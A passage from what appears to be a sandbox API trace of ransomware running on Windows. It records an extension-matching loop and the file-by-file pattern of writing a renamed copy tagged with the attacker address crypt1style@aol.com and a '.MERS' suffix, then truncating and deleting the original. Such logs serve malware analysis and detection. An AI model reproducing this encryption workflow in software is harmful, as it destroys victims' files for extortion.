lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.620] lstrlenW (lpString=".doc") returned 4 [0050.620] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.620] lstrlenW (lpString=".docx") returned 5 [0050.620] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.620] lstrlenW (lpString=".pdf") returned 4 [0050.620] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.621] lstrlenW (lpString=".xls") returned 4 [0050.621] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.621] lstrlenW (lpString=".xlsx") returned 5 [0050.621] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.621] lstrlenW (lpString=".ppt") returned 4 [0050.621] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.621] lstrlenW (lpString=".zip") returned 4 [0050.621] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.621] lstrlenW (lpString=".rar") returned 4 [0050.621] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.621] lstrlenW (lpString=".bz2") returned 4 [0050.621] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.621] lstrlenW (lpString=".7z") returned 3 [0050.621] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.621] lstrlenW (lpString=".dbf") returned 4 [0050.621] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.621] lstrlenW (lpString=".1cd") returned 4 [0050.621] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.621] lstrlenW (lpString=".jpg") returned 4 [0050.621] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.621] lstrlenW (lpString=".doc") returned 4 [0050.621] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.621] lstrlenW (lpString=".docx") returned 5 [0050.621] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.621] lstrlenW (lpString=".pdf") returned 4 [0050.621] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.621] lstrlenW (lpString=".xls") returned 4 [0050.622] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.622] lstrlenW (lpString=".xlsx") returned 5 [0050.622] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.622] lstrlenW (lpString=".ppt") returned 4 [0050.622] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.622] lstrlenW (lpString=".zip") returned 4 [0050.622] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.622] lstrlenW (lpString=".rar") returned 4 [0050.622] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.622] lstrlenW (lpString=".bz2") returned 4 [0050.622] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.622] lstrlenW (lpString=".7z") returned 3 [0050.622] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.622] lstrlenW (lpString=".dbf") returned 4 [0050.622] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.622] lstrlenW (lpString=".1cd") returned 4 [0050.622] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0050.622] lstrlenW (lpString=".jpg") returned 4 [0050.622] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.622] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0050.622] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.623] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2527) returned 1 [0050.623] CloseHandle (hObject=0x214) returned 1 [0050.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0050.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.623] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.623] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.709] GetLastError () returned 0x0 [0050.709] ReadFile (in: hFile=0x214, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x9df, lpOverlapped=0x0) returned 1 [0050.769] WriteFile (in: hFile=0x20c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0050.769] ReadFile (in: hFile=0x214, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.770] WriteFile (in: hFile=0x20c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.770] SetEndOfFile (hFile=0x20c) returned 1 [0050.770] CloseHandle (hObject=0x20c) returned 1 [0050.770] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.770] SetEndOfFile (hFile=0x214) returned 1 [0050.771] CloseHandle (hObject=0x214) returned 1 [0050.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.771] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0050.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.771] lstrlenW (lpString=".doc") returned 4 [0050.771] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.771] lstrlenW (lpString=".docx") returned 5 [0050.771] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.771] lstrlenW (lpString=".pdf") returned 4 [0050.771] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.771] lstrlenW (lpString=".xls") returned 4 [0050.771] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.771] lstrlenW (lpString=".xlsx") returned 5 [0050.771] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.771] lstrlenW (lpString=".ppt") returned 4 [0050.771] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.772] lstrlenW (lpString=".zip") returned 4 [0050.772] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.772] lstrlenW (lpString=".rar") returned 4 [0050.772] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.772] lstrlenW (lpString=".bz2") returned 4 [0050.772] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.772] lstrlenW (lpString=".7z") returned 3 [0050.772] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.772] lstrlenW (lpString=".dbf") returned 4 [0050.772] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.772] lstrlenW (lpString=".1cd") returned 4 [0050.772] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.772] lstrlenW (lpString=".jpg") returned 4 [0050.772] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.772] lstrlenW (lpString=".doc") returned 4 [0050.772] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.772] lstrlenW (lpString=".docx") returned 5 [0050.772] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.772] lstrlenW (lpString=".pdf") returned 4 [0050.772] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.772] lstrlenW (lpString=".xls") returned 4 [0050.772] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.772] lstrlenW (lpString=".xlsx") returned 5 [0050.772] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.773] lstrlenW (lpString=".ppt") returned 4 [0050.773] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.773] lstrlenW (lpString=".zip") returned 4 [0050.773] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.773] lstrlenW (lpString=".rar") returned 4 [0050.773] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.773] lstrlenW (lpString=".bz2") returned 4 [0050.773] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.773] lstrlenW (lpString=".7z") returned 3 [0050.773] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.773] lstrlenW (lpString=".dbf") returned 4 [0050.773] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.773] lstrlenW (lpString=".1cd") returned 4 [0050.773] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0050.773] lstrlenW (lpString=".jpg") returned 4 [0050.773] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.773] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0050.773] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.094] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=33479) returned 1 [0051.094] CloseHandle (hObject=0x1fc) returned 1 [0051.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0051.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.095] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.095] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.095] GetLastError () returned 0x0 [0051.095] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x82c7, lpOverlapped=0x0) returned 1 [0051.235] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0051.237] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.237] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.237] SetEndOfFile (hFile=0x210) returned 1 [0051.237] CloseHandle (hObject=0x210) returned 1 [0051.237] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.237] SetEndOfFile (hFile=0x1fc) returned 1 [0051.238] CloseHandle (hObject=0x1fc) returned 1 [0051.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.239] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0051.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.239] lstrlenW (lpString=".doc") returned 4 [0051.239] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.239] lstrlenW (lpString=".docx") returned 5 [0051.239] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.239] lstrlenW (lpString=".pdf") returned 4 [0051.239] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.239] lstrlenW (lpString=".xls") returned 4 [0051.239] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.239] lstrlenW (lpString=".xlsx") returned 5 [0051.239] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.239] lstrlenW (lpString=".ppt") returned 4 [0051.239] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.240] lstrlenW (lpString=".zip") returned 4 [0051.240] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.240] lstrlenW (lpString=".rar") returned 4 [0051.240] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.240] lstrlenW (lpString=".bz2") returned 4 [0051.240] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.240] lstrlenW (lpString=".7z") returned 3 [0051.240] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.240] lstrlenW (lpString=".dbf") returned 4 [0051.240] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.240] lstrlenW (lpString=".1cd") returned 4 [0051.240] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.240] lstrlenW (lpString=".jpg") returned 4 [0051.240] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.240] lstrlenW (lpString=".doc") returned 4 [0051.240] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.240] lstrlenW (lpString=".docx") returned 5 [0051.240] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.240] lstrlenW (lpString=".pdf") returned 4 [0051.240] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.241] lstrlenW (lpString=".xls") returned 4 [0051.241] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.241] lstrlenW (lpString=".xlsx") returned 5 [0051.241] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.241] lstrlenW (lpString=".ppt") returned 4 [0051.241] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.241] lstrlenW (lpString=".zip") returned 4 [0051.241] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.241] lstrlenW (lpString=".rar") returned 4 [0051.241] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.241] lstrlenW (lpString=".bz2") returned 4 [0051.241] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.241] lstrlenW (lpString=".7z") returned 3 [0051.241] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.241] lstrlenW (lpString=".dbf") returned 4 [0051.241] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.241] lstrlenW (lpString=".1cd") returned 4 [0051.241] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0051.241] lstrlenW (lpString=".jpg") returned 4 [0051.241] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.242] lstrcmpiW (lpString1=".CHM", lpString2=".MERS") returned -1 [0051.242] lstrlenW (lpString="FM20.CHM") returned 8 [0051.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.243] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=334427) returned 1 [0051.243] CloseHandle (hObject=0x1fc) returned 1 [0051.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0051.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0051.243] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.244] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.244] GetLastError () returned 0x0 [0051.244] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0051.477] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0051.484] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.484] WriteFile (in: hFile=0x210, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0051.484] SetEndOfFile (hFile=0x210) returned 1 [0051.484] CloseHandle (hObject=0x210) returned 1 [0051.484] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.484] SetEndOfFile (hFile=0x1fc) returned 1 [0051.487] CloseHandle (hObject=0x1fc) returned 1 [0051.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.487] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0051.488] lstrlenW (lpString="C:\\Program Files\\Common 